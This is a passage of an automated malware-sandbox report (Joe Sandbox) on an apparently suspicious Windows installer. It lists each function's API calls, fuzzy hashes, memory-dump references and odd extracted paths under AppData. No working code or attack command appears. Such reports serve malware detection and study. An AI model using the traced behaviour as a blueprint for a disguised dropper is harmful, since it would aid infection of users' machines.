Instruction ID: 0892b5ef0b2723f07dcd522954823931705bd605f292322b3a664a2a0928558f
Opcode Fuzzy Hash: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction Fuzzy Hash: CDD0C972908020AFC2103728AE0C89BBB65DB543717018B31F965A22B0C7305C528AA6

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000B80,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction ID: 83e72149abe1372da0a381261de05d436a54b8bdbe31dfced4d63089b9680d6c
Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction Fuzzy Hash: A0E04F7624010CBADB00DFA4ED46F9577ECEB14705F108425B608D6091C674E5008768

Function 00405BD9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: e5271f86abd3e691175676240f3b6d2dabcfddd4658b863dc1b472273301a449
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 8EE08632104259ABDF109E548C04EEB775CFB04350F044432F911E3140D231E820DBA4

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 00402295 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022C6

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 72cdf40c1bf6f5db5f4d9709fda42ed23ef015487cba6367b71ebc3a35df21ba
Instruction ID: 80fa8228d7b44b53eec3e7c38ed93a9451a1703e345daa2b135a9f68ba926bbf
Opcode Fuzzy Hash: 72cdf40c1bf6f5db5f4d9709fda42ed23ef015487cba6367b71ebc3a35df21ba
Instruction Fuzzy Hash: 38E04F30800204BADB00AFA0CD49EAE3B78BF11344F20843AF581BB0D1E6B895809759

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c271530863e58661098a5c30559a627ee948be805f1aaa302f87f5e4c73ddd49
Instruction ID: f4c604eae2506afdbcc8ec41f9b2bc8be0b1ceb91ea8510f154d928e9cd5b687
Opcode Fuzzy Hash: c271530863e58661098a5c30559a627ee948be805f1aaa302f87f5e4c73ddd49
Instruction Fuzzy Hash: A4D012B2B08100D7DB10DFE59A08ADDB7699B10329F304A77D101F21D0D2B885419A2A

Function 00404164 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction ID: f15b28e5f211e7e8d1db6812d8cffd834990aabd0fd5fa3204c122ebb67abe5b
Opcode Fuzzy Hash: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction Fuzzy Hash: 2BB01235684202BBEE314B00ED0DF957E62F76C701F008474B340240F0CAB344B2DB09

Function 0040330F Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 35c76f566c1ebd9d6b02c32a207bcdc7b8f69ffae950b4dd1e6fa8c4e5a5d930
Instruction ID: ad5cbb4e8c7f0aba0b65fecb58585b4f8dfec95c15ef4476e698ddf4bc3863dd
Opcode Fuzzy Hash: 35c76f566c1ebd9d6b02c32a207bcdc7b8f69ffae950b4dd1e6fa8c4e5a5d930
Instruction Fuzzy Hash: 05D0C77771414097D750DBB86E8585B73ACD7513197204C73D542F1491D178D8018939

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 004045CA Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,Call), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\________.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\________.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

C:\Users\user\AppData\Local\foreslaaende, xrefs: 0040471A
A, xrefs: 004046ED
Call, xrefs: 0040472B, 00404730, 0040473B

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\foreslaaende$Call
API String ID: 2246997448-2944485841
Opcode ID: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\AppData\Local\foreslaaende\Sluggardliness, xrefs: 004020FB

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\foreslaaende\Sluggardliness
API String ID: 542301482-3939270230
Opcode ID: a0bb92f52aa57a686fb7670324366c30062890f5d7bc8498ec9199db5fdfdb62
Instruction ID: b9114a0b4d3c9f05545c6126c0c632b8b73b1fcf7d0bd01aa9b6132af3d7cd36
Opcode Fuzzy Hash: a0bb92f52aa57a686fb7670324366c30062890f5d7bc8498ec9199db5fdfdb62
Instruction Fuzzy Hash: 4B414F75A00105BFCB00DFA4C988EAE7BB5AF49318B20416AF505EF2D1D679AD41CB55

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d555c6e09dbf6ad66d53053e92e2a3446f724d402b29968be0a2f1aefd2bf89d
Instruction ID: c3eebe46d33317c4d9c4db9deeb30b83dd141210d4acf70d00b973005abdca29
Opcode Fuzzy Hash: d555c6e09dbf6ad66d53053e92e2a3446f724d402b29968be0a2f1aefd2bf89d
Instruction Fuzzy Hash: 81F05EB1614114DBDB00DBA4DD499AEB378FF14318F20097AE141F31D0D6B45940DB2A

Function 004042CC Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

CB@, xrefs: 004044D8
N, xrefs: 00404468
open, xrefs: 004044DB
Call, xrefs: 004044A9

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
